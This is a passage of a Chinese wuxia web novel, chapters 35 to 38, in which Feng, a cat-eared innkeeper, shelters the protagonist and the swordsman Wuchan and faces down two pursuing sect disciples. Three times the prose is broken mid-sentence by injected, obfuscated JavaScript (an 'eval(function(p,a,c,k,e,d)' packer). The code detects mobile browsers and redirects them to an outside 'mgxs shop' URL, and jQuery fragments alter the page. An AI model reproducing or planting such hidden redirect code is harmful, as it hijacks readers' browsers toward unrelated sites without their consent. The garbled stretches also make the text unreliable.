这种被“监视”的感觉并不强烈,甚至谈不上恶意,却无端让江晚怜更加确信,枫就在某个他们看不见的地方,通过这些猫儿的眼睛,静静地“观察”和“等待”着。 她想起枫提到“鸢”时,无忏那瞬间的僵硬和左眼的刺痛。一个模糊却逐渐成形的念头再次浮现:无忏的异色瞳,他那精准到近乎非人的身手,对情绪近乎剥离的感知……会不会,都与那位代号“鸢”、擅使傀儡的奇女子有关? 怎么可能呢?!江晚怜用力咬了口嘴里的芝麻饼。 漫画里对无忏的来历一片空白,只说他如同凭空出现,迅速登顶暗杀榜,因为作者的一系列安排,叶玖、李子遥受命将此“罪人”擒拿而下,三人至此成为敌对关系。但对更久远的江湖,却有零星的、近乎传说的记载。江晚怜努力回忆,似乎在某篇不起眼的江湖野史附录里瞥见过一句:“昔年江湖,有三杰并立,一侠一仙一奇工。侠者仁心济世,仙者一身正气,奇工妙手通幽。三人结义,纵横四海,为解救天下苍生之苦而奔走……”后面便语焉不详,只叹“后来星流云散,再无音讯”。 但好像也不完全是无稽之谈:仙者若就是那说书人说的修行者,而“奇工妙手通幽”……傀儡之术,夺天地造化,不正可称“奇工”?但是侠客却无一丝头绪。 如果这传闻中的“奇工”,就是“鸢”…… 江晚怜感到一阵寒意从脊背爬升,那不仅仅是身世之谜,更可能牵扯进一桩极其久远、影响深远的江湖故事,而无忏,正是这桩故事留下的、最扑朔迷离的“结果”。 她心事重重地吃完那份味道其实很不错的饼,收拾好碗筷放在门外——洗漱后,她和衣躺在床上,听着窗外浓雾中死一般的寂静,辗转难眠。 隔壁房间,无忏同样没有入睡。 他盘膝坐在茶榻上,黑剑横放膝前,闭目调息。内力在经脉中缓缓流转,试图抚平白日激战残留的疲惫,以及……那声“鸢”字带来的、残留心底的细微涟漪。 黑暗中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17021239|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摒除外界的杂音与光影,那刺痛褪去后留下的空洞感似乎被放大。并非疼痛,而是一种……难以言喻的牵引感,从左眼深处传来,隐隐指向记忆迷雾中最沉沉的区域。 就在他心神沉静到某一刻时,毫无征兆地,一片破碎的“画面”撞入脑海。 没有色彩,没有声音,甚至没有具体的轮廓。只有一个极其模糊的、背对着他的女子身影,立在仿佛无尽空旷的黑暗里。长发如墨泼洒,衣袂似被无形的风吹拂,微微扬起。她似乎正要转身,又似乎亘古如此背对。 仅仅一瞬。 那身影便如同被风吹散的烟尘,倏然消失,只留下更深的空茫与一丝……极其轻微、近乎错觉的、类似枫露茶清冽余香的气息。 无忏骤然睁开眼。 异色的瞳孔在黑暗中收缩,左眼底那抹暗红仿佛有生命般流转了一下。他抬手,指尖轻轻按上左眼眼角,那里似乎还残留着幻象出现时,一丝几不可察的温热。 不是痛,是一种更复杂、更陌生的感觉。 他沉默地坐着,良久,才缓缓松开手指,重新闭上眼。这一次,再无异常。 楼下,柜台后的阴影里。 枫倚在软枕上,手中把玩着一片边缘鎏金的枫叶。她面前的地面上,几只毛色各异的猫儿或坐或卧,碧绿、琥珀、湛蓝的眼眸在黑暗中幽幽发光。 其中那只白猫轻轻“喵”了一声,甩了甩尾巴。 枫嘴角勾起一抹了然的笑意,指尖拂过枫叶清晰的脉络。“看到了一点影子,是么?”她低声自语,声音轻得只有猫儿能听清,“被封存的,终究是封不住的,血脉里的东西,就像这林子的雾,该起来的时候,自然会起来。” 她抬眼,目光仿佛能穿透楼板,看到楼上两个心思各异的年轻人。 “小春儿啊……”她极轻地叹了口气,将那枫叶贴近唇边,吹出一缕无声的气息,“你留下的这个孩子,跟你的傀儡一样,是个碰不得的闷葫芦。倒是旁边那个小丫头……有点意思。魂儿不稳,壳子倒是契合得越来越好了,心思也活络。” 她又瞥了一眼大门方向,猫耳微微动了动,眼中闪过一丝戏谑。 “门外那俩凌云门的小家伙,倒是挺执着。可惜,破不了我的阵。也罢,就让他们多转几圈吧,有些戏,观众太多,反而唱不响。” 她挥了挥手,猫儿们悄无声息地散开,融入客栈各个角落的阴影里。 枫重新倚回去,闭上眼,绯红的衣袖垂落地面,仿佛与这片被迷雾笼罩的枫林、与这座沉睡的客栈,彻底融为一体。 唯有柜台一角,那盏绘着猫形图案的灯笼,散发着恒定而温暖的微光,静静照耀着这一方短暂的、风暴眼中的安宁。 窗外,雾气依旧浓得化不开。而远处,隐隐传来李子遥不甘心的低咒和叶玖冷静的制止声。 36. 诡异的同桌 江晚怜如果不是被身上沉甸甸、热乎乎的一团毛球彻底压醒,她肯定还能在那张柔软舒适的床上再赖上至少半个时辰。 意识先于眼睛苏醒,首先感受到的是呼吸不畅——某种温暖、有节奏的吐息正喷在她的锁骨附近,伴随着喉咙深处传来的、拖拉机引擎般响亮的“呼噜”声。紧接着,是四肢被封印般的沉重感,仿佛盖了床会呼吸、还带震动按摩的厚毛毯。 她艰难地掀开眼皮。 一张放大的、毛茸茸的橘色大脸近在咫尺,滚圆的猫眼正一眨不眨地与她对视,见她醒来,那猫极其自然地“喵”了一声,仿佛在说“早啊,两脚兽,该起来服侍朕了”,然后伸出带着细小倒刺的舌头,在她下巴上敷衍地舔了一下。 “唔……好重……”江晚怜尝试动弹,发现这橘猫趴在她胸口,真正实现了“全方位镇压”。她哭笑不得,只得轻轻推了推那沉甸甸、软乎乎的身子。 橘猫不为所动,甚至换了个更惬意的姿势,把脑袋枕在了她肩窝,呼噜声更响了。 江晚怜认命地叹了口气,放弃挣扎,干脆躺在床上,望着头顶朴素的木质房梁发呆。窗纸外透进的光线朦朦胧胧,依旧带着雾气的质感,分不清具体时辰。昨夜的种种思绪渐渐回笼——枫语焉不详的故事,无忏那瞬间的刺痛与僵硬,关于“鸢”的女子,还有那传闻中星流云散的“三杰”…… 她侧过头,看向紧闭的房门。隔壁静悄悄的。无忏与自己作息不同,估摸着早醒了。 费了九牛二虎之力,江晚怜才把自己从“猫饼”下拯救出来,那橘猫被她挪到地上时还很不满地甩了甩尾巴,迈着慵懒的步子走到墙角,蜷成一团继续睡。她简单洗漱,换好那身浅藕荷色的裙子。 推开房门,木质楼梯安静地向下延伸。她虚扶着红木扶手走下,抬眼便看见大堂内,无忏背对着楼梯,怀抱着他那柄从不离身的黑剑,静静坐在昨日那张桌前。而在他对面,绯衣的枫掌柜正托着腮,一双含笑的桃花眼望着他,头顶的猫耳悠然自得地微微抖动。 桌上摆着清粥小菜。无忏面前的碗已经空了,而他旁边那个空位前,还放着一碗明显已经凉透、粥面凝了一层薄“衣”的粥。 自己居然睡了这么久!?江晚怜脸颊微热,赶忙小跑下楼,脚步声在寂静的厅堂里格外清晰。 “早啊,小姑娘。”枫率先转过头,笑意盈盈:“睡得可好?是不是比跟着这人在荒郊野岭餐风露宿,好了不知多少?” 江晚怜脸上更热了,老老实实点头,确实如她所说……客栈的床十分舒服。她走到空位坐下,略带歉意地看了一眼无忏,又飞快地瞥向枫。无忏只是在她下楼时侧目看了一眼,随即便收回视线,目光落在自己空了的碗沿,似乎对她们的寒暄毫无兴趣。 她端起那碗凉粥,小口吃起来。粥虽然凉了,但米粒煮得开花,入口依旧绵软,佐粥的小菜腌得恰到好处,清脆爽口。 枫的目光在两人之间流转,带着一种饶有兴味的观察,却不再提昨夜的话题,只是闲聊般说道:“这粥里的米,是山后泉眼旁那两亩薄田种的,一年只收一季,比不得外间的精米白面,倒是有股子山野清气。” 就在这时—— “咚——!” 一声沉闷的巨响,仿佛重物狠狠撞击在客栈厚实的大门上,震得门框簌簌落灰,连桌上的碗碟都轻轻一跳。 江晚怜猝不及防,一口粥呛在喉咙里,咳得满脸通红。她惊愕地看向大门,又看向无忏和枫。 无忏没有反应。 枫也连眉毛都没动一下,依旧慢条斯理地伸出手,挠了挠不知何时跳上她膝头的那只白猫的下巴,白猫舒服地仰起脖子,发出咕噜声。 “什么动静?”江晚怜缓过气,凑到无忏耳边,用气声紧张地问。 “咚——!!” 第二下撞击接踵而至,比刚才更加猛烈,大门发出不堪重负的呻吟,门闩处木屑崩飞。门外浓雾翻滚,隐隐传来李子遥气急败坏的喝骂和叶玖清冷的制止声,但听不真切。 “咚咚咚——!!!” 第三下连撞,声势惊人,伴随着某种利物破空的尖啸,显然已动上了兵刃,试图强行破门。 枫终于停下了挠猫的动作,轻轻叹了口气,脸上却还是那副令人卸下防备的盈盈笑意,只是这笑意未达眼底:“真是的……大早上就来扰人清净,年轻人真是心急。” 她的话音刚落—— “砰——!!” 客栈那两扇厚重的木门,竟被一股蛮横的力道从外硬生生撞开!断裂的门闩飞落,木门猛地向内弹开,撞在墙壁上发出巨响。霎时间,一股裹挟着枫林寒气和破碎雾气的狂风倒灌进来,吹得堂内烛火剧烈摇曳,杯盘叮当乱响。几只原本在角落打盹的猫儿惊得“喵呜”炸毛,瞬间蹿上房梁或躲进柜台深处。 混乱的雾气与尘埃中,一道身影疾冲而入! “无忏!今日你便——诶!?”率先闯入的李子遥一身劲装沾满夜露与草屑,头发微乱,眼中却燃着灼灼战意,手中长剑寒光凛冽,人随声至,剑尖直指端坐不动的无忏!这一剑含怒而发,又快又狠,没有丝毫保留。 然而,就在剑尖距离无忏尚有尺余之时—— 一片边缘鎏金、脉络分明的绯红枫叶,如同被无形之手牵引,以比剑光更诡谲难测的速度,自枫的指间飘然而出,没有破空厉响,甚至没有带起多大的风声。那枫叶轻飘飘地,精准无比地贴上了李子遥那气势如虹的剑尖侧面。 下一刻,不可思议的一幕发生了。 李子遥只觉得剑身上传来一股极其圆融、却又沛然难御的柔韧力道,并非硬碰硬的格挡,而是如同流水遇石,自然而然地将他全力一击的锋芒、速度、乃至内劲的走向,悉数引偏、化去! 长剑发出一声不甘的哀鸣,不由自主地偏向一侧,“夺”地一声,深深刺入了无忏身旁的桌面,剑身剧颤,嗡鸣不止。李子遥前冲的势头被这股巧劲带得一个趔趄,险些扑倒,他满脸骇然,握剑的手虎口发麻,难以置信地瞪向枫。 枫依旧坐在原位,甚至另一只手还在慢悠悠地抚摸着膝上的白猫,仿佛刚才那足以化解凌厉剑招的一叶,只是她随手拂去的一点尘埃。她抬眸,看向僵立的李子遥,以及紧随其后闯入、瞬间摆出防御姿态、面色凝重如水的叶玖,笑容不变,语气却带上了一丝不容错辨的冷淡: “忘尘客栈的规矩,进门是客。不过……不请自来,还动刀动剑惊扰我的猫儿们,这可就算不上是客人的礼数了。” 叶玖迅速扫视了一眼客栈内情形——安然无恙的无忏和江晚怜,深不可测的绯衣掌柜,以及那些在阴影处重新探出头、目光幽幽的猫。她一把拉住还想动作的李子遥,上前半步,抱拳行礼,姿态不卑不亢:“前辈恕罪。晚辈凌云门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17027557|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶玖,他为师弟李子遥,奉命追查要案,追踪至此,因迷雾所困,心急之下冒然闯入,绝非有意惊扰前辈清静,更无意在客栈内生事。若有冒犯,还请海涵。” 她的声音清冷镇定,将“奉命追查”和“无意生事”点得清楚,既表明了身份和来意,也隐含了不愿与客栈主人为敌的态度。 枫的目光在叶玖脸上停留片刻,桃花眼中闪过一丝几不可察的微光,似有评估,又似想起了什么。她忽然轻笑一声,那点冷意瞬间如春雪消融:“不愧是凌云门的师姐啊……倒是比某些毛毛躁躁的小家伙知礼些。”她意有所指地瞥了一眼脸色涨红的李子遥。 “既然都进来了,那便坐吧。”枫随意地挥了挥衣袖,仿佛刚才的冲突从未发生,“一大早动气伤身,不如喝碗热粥。阿灰,再去盛两碗粥来。” 一只毛色灰蓝、体型矫健的猫儿应声从柜台后跃出,叼着两块干净的布巾,灵巧地擦拭出两个空位,然后转身溜进后厨。不多时,它竟用头顶着一个摆了两碗热粥的小木托盘,稳稳当当地走了出来,跳到桌上,将粥碗推至叶玖和李子遥面前。 整个过程行云流水,看得江晚怜目瞪口呆,连紧张都忘了大半。 李子遥还梗着脖子想说什么,被叶玖一个眼神严厉制止。她深吸一口气,率先在空位坐下,低声道:“多谢前辈。”李子遥见状,只得愤愤地收剑归鞘——那剑还扎在桌面上,他用力拔出,闷闷地坐在叶玖旁边,眼睛却仍死死盯着对面的无忏和江晚怜。 一时间,这张八仙桌旁的气氛诡异到了极点。一边是绯衣慵懒、猫儿环绕的客栈主人枫;一边是沉默如冰、气息冷冽的无忏和尴尬至极的江晚怜;另一边,则是严阵以待、目光锐利的叶玖和满脸不服、杀气未消的李子遥。 热粥的清香袅袅升起,与门外涌入的、渐渐平息的雾气混合在一起。 枫仿佛对这凝滞的空气毫无所觉,像是想起了什么,抬眼看向窗外——尽管窗外仍是白茫茫一片。 她语气轻快,似乎是聊家常,又似别有深意的说道:“曾经有句‘柳色入笙歌’,读来总觉太过喧闹繁华。如今想来,或许写的并非那车马络绎的十里长堤,而是这般……寂静山岭中,雾锁千枫,色如烟柳的景致?毕竟,真正的‘柳色’,未必只在热闹处,反倒常在无人窥见的清冷之地,独自成韵。” 她的话说得随意,仿佛只是品评景色。但“柳色入笙歌”这五个字落下,桌上至少有三人,心中同时一动。 江晚怜捏着勺子的手紧了紧,看向无忏。只见他低垂着眼睫,盯着桌面,面无表情,似乎根本没听见。但江晚怜离得近,看出来了他的愣神。 叶玖舀粥的动作微微一顿,抬眼看向枫,清冷的眸子里闪过一丝深思。她显然也联想到了那句诗,只是还有很多不解罢了。 唯有李子遥,只顾着用眼神凌迟对面的无忏和江晚怜,对枫这突如其来的“风雅”毫无反应,甚至满脸疑惑。 “你们……怎么都这个表情?”李子遥单纯地问道。 枫将众人细微的反应尽收眼底,唇角笑意更深,却不再多说,只低头喝了一口粥,赞叹道:“嗯,火候正好,阿灰的手艺越发进益了。”那只灰蓝色的猫儿蹲在不远处的柜台上,闻言,傲娇地扭过头,舔了舔爪子。 一顿气氛诡异、暗流涌动的早膳时间,就在这突如其来的“同席”中,沉默地继续着。 37. 等待进入网审 粥是好粥,米粒软糯,带着山泉的清甜。小菜也脆嫩爽口,腌得恰到好处。 但江晚怜吃得味同嚼蜡。 她现在无比确信,自己患上了某种名为“尴尬癌晚期”的不治之症,并且正在这诡异的八仙桌旁接受凌迟处刑。每一口凉粥咽下去,却都像吞了块烧红的炭,烫得她五脏六腑都在抽搐。 左手边,无忏大佬坐得像尊入定的石佛,除了偶尔极其缓慢地眨一下眼,证明他还活着之外,整个人就是“沉默是金”的活体诠释。他现在正用那双异色眸子,平静地……盯着桌面某处木纹看。江晚怜偷偷顺着他的视线研究了一下,确认那只是块普通木头,连个虫眼都没有。 大哥,你看木头能看出花来吗?还是说你在用意念跟木头里的年轮对话?江晚怜在心里疯狂吐槽,面上却只能维持着僵硬的微笑。 右手边,叶玖坐姿端正,吃相斯文,每一口粥都舀得大小均匀,咀嚼无声。但江晚怜能感觉到,那股清冷锐利的视线,如同最精密的扫描仪,时不时就会在她和无忏身上蜻蜓点水般掠过,带着评估和探究。江晚怜觉得自己像个被放在显微镜下的标本,连汗毛倒竖的角度都被分析得明明白白。 正对面,李子遥……算了,江晚怜不想形容。那小子简直是把“咬牙切齿”四个字写在了脸上,喝粥不像喝粥,像在生吞仇人的骨头,眼神更是像淬了毒的刀子,嗖嗖往她和无忏这边飞。如果不是叶玖时不时用眼神镇压,江晚怜怀疑他能把粥碗捏碎。 而这一切尴尬癌源头的中心——枫掌柜,正悠然自得地坐在主位,小口啜着粥,头顶的猫耳随着她细微的动作惬意地抖动。她仿佛完全沉浸在这“温馨”的早餐氛围里,甚至还好心情地给蹭到她腿边的狸花猫喂了一小块撕碎的腌菜。 这他妈到底是什么地狱绘卷! 江晚怜内心哀嚎,表面上还得维持着“我很平静我只是在认真吃粥”的假象。她开始数自己碗里还剩几粒米,试图用这种无聊到极致的行为来麻痹自己过于活跃的羞耻神经。 就在她数到第两百零七粒米,感觉自己快要升华成佛时,救星——或者说,另一种形式的折磨出现了。 那只早上把她当床垫的肥橘,不知从哪个角落晃悠了过来,目标明确,迈着帝王般的步伐,径直走到江晚怜脚边,然后用它那颗毛茸茸的大脑袋,开始……蹭她的裙摆。 “喵~”声音百转千回,带着显而易见的谄媚。 江晚怜:“……” 橘猫见她没反应,锲而不舍,蹭得更起劲了,尾巴竖得笔直,尖端勾成一个小问号,碧绿的大眼睛仰望着她,里面写满了“两脚兽,识相点,快给朕上供”的理所应当。 所有人的目光,瞬间聚焦到了她和橘猫身上。 无忏的视线终于离开了那块木头,落了下来。叶玖停下了舀粥的动作,李子遥的瞪视也暂时转移了目标。枫的嘴角勾起一个更明显的弧度,看好戏的意思毫不掩饰。 江晚怜感觉自己的脸颊快要烧起来了。她僵硬地低下头,和橘猫大眼瞪小眼。 “你……干嘛?”她超小声地问,试图用眼神交流:大哥,众目睽睽之下,给点面子行不行? 橘猫:“喵嗷!”它理直气壮用爪子扒拉了一下她的绣花鞋面。 这肥猫完全是馋她碗里……哦不,是惦记她刚才吃的小菜里的某样东西。可是她哪敢在这么诡异的场合下给猫喂食啊!她偷偷瞟了一眼枫,发现对方正含笑看着她,丝毫没有解围的意思。 行,您看戏是吧。 江晚怜心一横,本着“只要我不尴尬尴尬的就是别人”以及“死道友不死贫道”的原则,迅速用勺子边缘刮了一点自己碟子里剩下的、最小的小鱼干尾部,以迅雷不及掩耳之势丢到桌下橘猫面前。 动作快、准、稳,且隐蔽——当然是自认为。 橘猫满意地“喵”了一声,叼起鱼尾,咯吱咯吱嚼得欢快。 江晚怜刚松了半口气,准备继续装鹌鹑。 “咳。”一声极轻的咳嗽,来自叶玖。 江晚怜浑身一僵,抬眼看去,只见叶玖师姐依旧保持着完美的用餐仪态,只是那双清冷的眸子看向她,又若有似无地扫过桌下大快朵颐的橘猫,眼底似乎掠过一丝极淡的……无语?或者说,是“原来你也这么不讲究”的微妙认同? 江晚怜读不懂那眼神的全部含义,但奇异地,那点细微的情绪变化,像一根针,轻轻戳破了一点她快要爆炸的尴尬气球。好像……高高在上的叶玖师姐,也会对这种幼稚的、不合规矩的小动作感到一丝无奈。 就在这时,另一只猫——那只灰蓝色、名叫阿灰的“服务生”猫,跳上了桌子。它嘴里叼着一块叠得方方正正的湿布巾,先是走到枫面前,枫自然地接过,擦了擦手。然后阿灰转向叶玖,叶玖微微一怔,显然不习惯被猫伺候,但还是礼貌地接了过来。 接着是李子遥。李子遥正烦着呢,没好气地挥手:“去去去,不用!”阿灰的耳朵瞬间向后撇成飞机耳,灰蓝色的尾巴不高兴地甩了一下,把布巾丢在李子遥面前的桌上,扭头就走。 李子遥:“……”他好像被一只猫鄙视了? 阿灰最后走到无忏面前,把布巾放下,圆溜溜的眼睛看着他。无忏沉默地拿起布巾,同样沉默地擦了擦手。整个过程,一人一猫没有任何眼神交流,却透着一股诡异的“业务熟练”感。 轮到江晚怜了。阿灰把最后一块布巾放到她面前,然后蹲坐下来,看着她。 江晚怜受宠若惊,赶紧拿起温热的布巾擦手,然后对阿灰小小声说了句:“谢谢啊。” 阿灰“喵”了一声,算是回应,然后跳下桌子,优雅地离开了。 这个小插曲让凝滞的气氛微微晃动了一下。江晚怜突然觉得自己又能呼吸了。 枫终于喝完了她那份粥,放下碗勺,发出清脆的一声“嗒”。她托着腮,目光在四人脸上转了一圈,笑意盈盈地开口,打破了漫长的沉默: “粥也喝完了,诸位接下来有何打算?” 这句话像一把钥匙,瞬间拧紧了刚刚松弛一丝的气氛。 叶玖放下布巾,神情恢复了冷静和郑重:“前辈,晚辈二人追踪至此,确为查明江家血案真相,并……执行师门之命。”她顿了顿,目光扫过无忏和江晚怜,“不知前辈可否行个方便?” 李子遥立刻挺直腰板,眼神重新变得凌厉,盯着无忏。 无忏终于不再看木头,抬起眼,目光平静地迎上叶玖和李子遥的视线。没说话,但那股无形的、冰冷的压迫感再次弥漫开来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17027558|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 江晚怜的心又提了起来。来了来了,正戏要开始了!她下意识地往无忏那边缩了缩,手在桌子底下悄悄握成了拳。 枫却仿佛没感受到这剑拔弩张的氛围,她轻轻“哦”了一声,尾音拖长,带着点慵懒的玩味:“师门之命啊……听起来好严肃。”她伸手,将跳到她肩头的白猫抱到怀里抚摸着,“不过呢,忘尘客栈的规矩,在门外,天大的恩怨也与我无关。在门内嘛……” 她抬起桃花眼,眼波流转,笑意里带着一种不容置疑的淡定: “我说了算。” “在我这儿,只有客人,没有猎物。几位既然都坐在了我的桌子上,喝了我的粥,那在我厌烦之前,都安安分分的。”她的语气依旧轻柔,甚至带着笑意,但话里的分量却让李子遥脸色一变,叶玖的面色也严肃起来, “前辈这是要插手我们凌云门的事?”李子遥忍不住,语气冲了些。 枫看了他一眼,猫耳微微一动:“小弟弟,话不要说得这么难听。我只是不喜欢有人在我的地盘上打打杀杀,吓到我的猫。”她挠了挠白猫的下巴,“至于你们凌云门的事……出了这门,爱怎么打怎么打,我管不着。但在这里,就得守我的规矩。” 她说着,站起身,绯红的衣袖如云般拂过桌面:“好了,昨晚与小家伙闹腾了一晚呢……接下来我要去睡回笼觉了,各位见笑了。” 这明显是要他们自己解决的意思了。 叶玖抿了抿唇,显然在快速权衡。硬闯?方才枫那一叶之威已见端倪,加上深浅莫测的无忏,胜算渺茫。顺从?师命如山…… 无忏依旧沉默,但江晚怜感觉,他周身那股紧绷的、随时准备暴起的气息,似乎因为枫的这番“宣告”,而稍微缓和了那么一丝丝?也许只是她的错觉。 枫不再等他们回应,抱着猫,袅袅婷婷地往楼梯走去,留下一句:“别打架,阿橘,盯着点。”然后身影便消失在楼梯口。 那只肥橘猫不知何时又溜达了回来,闻言,响亮地“喵”了一声,然后跳到江晚怜刚才坐的椅子上,揣起前爪,碧绿的大眼睛炯炯有神地轮流扫视着桌上剩下的四个人,宛如一个尽职尽责的监工。 江晚怜看着眼前这局面——犹豫的追兵,不知道想什么的己方,一只监工的肥猫,还有一个摆明了“我看戏我快乐”的神秘老板娘…… 这他娘的到底算是个什么发展啊! 她绝望地看向无忏,用眼神传递信息:大哥,现在咋整? 无忏接收到了她的眼神,沉默了片刻,然后…… 他站起身,拿起自己的黑剑,转身,一言不发地……上楼了。 江晚怜:“???” 大佬!你别走啊!你走了我怎么办!我跟他们两个大眼瞪小眼吗?!然而无忏的背影冷酷无情,很快消失在楼梯转角。 江晚怜僵硬地转过头,对上叶玖审视的目光和李子遥愤怒的瞪视,还有肥橘猫“看好你们哦”的眼神。 “……哈哈,”她干笑两声,声音发虚,“那什么……我大哥今天心情不错?我、我也上去看看……” 她刚迈出一步,一个清冷平静的声音就响起了。 “江姑娘,请留步。” 这日子,真是过得鸡飞狗跳,没一刻安生! 38. 这到底是什么展开! “江姑娘,请留步。” 叶玖的声音像一道冰线,瞬间把江晚怜那只已经抬起来的脚冻在了半空。 完犊子。 她僵硬地、一寸寸地转过身,脸上挤出的笑容大概比哭丧还难看——无忏你个杀千刀的!真就把我扔这儿了?!说好的队友呢?!这塑料队友情还能不能好了?! 叶玖已经站起身,鹅黄色的衣裙衬得她身姿挺拔如竹,那张清丽的脸上一丝表情都没有,就那样静静地看着江晚怜。那眼神平静得让人发毛,江晚怜觉得自己像块被摆在案板上待价而沽的猪肉,连几斤几两都要被这目光刮个清楚。 李子遥也跟着站了起来,抱着胳膊,下巴抬得能戳死人,眼神里的意思明明白白:看你这回怎么编。 而那只肥橘猫监工阿橘,不知何时已经换了个更舒服的姿势,揣着爪趴在江晚怜刚才坐过的椅子上,一副“打起来!赶紧打起来!老子瓜子都备好了!”的看戏嘴脸。 江晚怜内心已经在嘶吼:我操!这什么地狱配置!一打二还带个裁判猫?!老娘连只鸡都没……哦不对,杀过一个熊奎,但那是意外!意外! “江姑娘不必紧张。”叶玖终于开口:“我只是有几句话想问。” “你、你问。”江晚怜干巴巴地说,手心湿得能养鱼。她脑子里飞速过了一遍《刑侦剧嫌疑人应对指南》《如何正经地胡说八道》以及《论装傻的一百种方式》,最后悲哀地发现——屁用没有。 叶玖向前走了一步。距离拉近,那股属于名门正派精英弟子的清冷气息扑面而来。“江家出事那夜,你在何处?”叶玖的问题像把刀,直插心窝子。 来了来了!经典审讯开场!江晚怜心脏砰砰狂跳,脑子里却诡异地飘过一句吐槽:这流程能不能换换?每次都问这个,观众会觉得我们这群人很没创意的啊喂! “我在自己房里。”她努力让自己的声音听起来又软又无辜,还带了点恰到好处的颤抖,“那天晚上我睡得很早……后来被外面的动静吵醒,听到惨叫和打斗声……我、我很害怕,就躲在床底下。”这段说辞她早在心里排练了八百遍,半真半假——毕竟原主记忆里、漫画分段中确实有躲藏的片段,至于细节?现编! “然后呢?” “然后……不知道过了多久,外面起了火,我的房间柱子被烧断了……我就被废墟压在了下边,昏了过去。”江晚怜低下头,还适时地吸了吸鼻子。 “我就被”装可怜嘛,谁不会?当年她看催泪剧都没哭这么投入! “你就这样遇到了无忏?”叶玖追问,目光如炬。 “对、对啊……”江晚怜点头,头发丝都透着一股弱小无助,“他什么也没有说,还饶了我一命。”这段倒是真的,只不过江晚怜省略了很多而已。 她抬起眼,眼神努力显得真诚又带着后怕:“叶姐姐,我真的不知道家里到底发生了什么,也不知道为什么有人要杀我……我、我只是想活下去……” 她说完,自己都在心里给自己鼓掌:完美!声情并茂!有理有据!还顺便卖了一波惨!叶玖啊叶玖,你这要是还能硬下心肠,那你可真就是钢铁直女了! 李子遥却在这时嗤笑一声:“你说你不知道?那为何会跟这魔头在一起?我看你们根本就是一伙的!” 江晚怜心里翻了个巨大的白眼:大哥,你脑子是装饰品吗?我要真跟他一伙,我现在还能站在这儿跟你废话?早联手把你撂倒了好吗! “子遥。”叶玖低声制止,目光却仍锁在江晚怜脸上,她先是思考了一会才问道:“江姑娘,无忏为何要救你?据我所知,他并非……乐于助人之辈。” 这个问题就致命了。江晚怜脑子转得飞快,她想说“其实是因为我还想活下去所以是我死皮赖脸跟上去的”但估计下一秒就得被当成失心疯处理。 “我……我也不知道。”她选择祭出终极武器——装傻,眼神茫然得像个迷路的三岁小孩,“我问过他为什么,他也不说。”这倒也是真的。 “不说?”李子遥像是听到了天大的笑话,“杀人不眨眼的魔头难不成会顺手救人?骗鬼呢!” 江晚怜已经把这部漫画的作者在心里问候了一遍:别让我回到现代想起作者是谁,这作者创作的主角怎么这样?!李子遥你爱信不信!我这一路上担惊受怕东躲西藏的,你以为好玩啊?!真不知道江晚怜到底看上了这人哪点…… 就在她内心疯狂吐槽、表面还要维持弱小小白花人设,快要精分的时候,一个沉甸甸、毛茸茸的玩意儿突然跳上了她的肩膀。 “喵嗷——!” 阿橘不知何时离开了椅子,此刻正稳稳站在江晚怜肩头,尾巴嚣张地绕着她的脖子,居高临下地俯视着叶玖和李子遥,发出了一声拖着长音、明显带着警告和不满的低吼。 江晚怜被这突如其来的重量压得肩膀一沉,但奇异的是,阿橘这霸道总裁般的护短姿态,竟让她那颗七上八下的心诡异地安定了一丢丢。 叶玖的视线从江晚怜脸上移开,落到了阿橘身上。阿橘毫不示弱地回瞪,碧绿的猫眼在昏暗光线下幽幽发光,胡须都炸开了一点。 “看来,客栈的猫很喜欢江姑娘。”叶玖忽然说了一句,语气里听不出什么情绪。她看着江晚怜,片刻后,语气居然稍微缓和了那么一丝丝——真的只有一丝丝,不仔细听都听不出来:“江姑娘,师门之命,我与子遥不得不从。但……” 她顿了顿,江晚怜的心也跟着提了起来。 “若江家血案另有隐情,我们亦不会枉杀无辜。”叶玖的声音清晰而冷静,“在查明真相之前,你且好自为之。” 这话说得留有余地,但江晚怜听懂了弦外之音:暂时不动手,但不代表放弃。相当于死缓,缓刑期间看你表现。 她连忙点头,像小鸡啄米:“我明白,我明白!谢谢叶姐姐!”谢个屁!还不是你们追着我不放! 叶玖不再多言,转身对李子遥道:“子遥,我们且先离开。” 李子遥显然不服,那张帅脸上写满了“凭什么这就放过她”,但看叶玖态度坚决,只能狠狠剜了江晚怜一眼,那眼神要是能杀人,江晚怜估计已经千疮百孔了。 他不情不愿地跟着叶玖往客栈外走。 看着两人的身影消失在枫叶林中,江晚怜这才彻底松了那口一直提着的气,腿一软,差点真坐地上。 “谢了,大橘猫。”江晚怜有 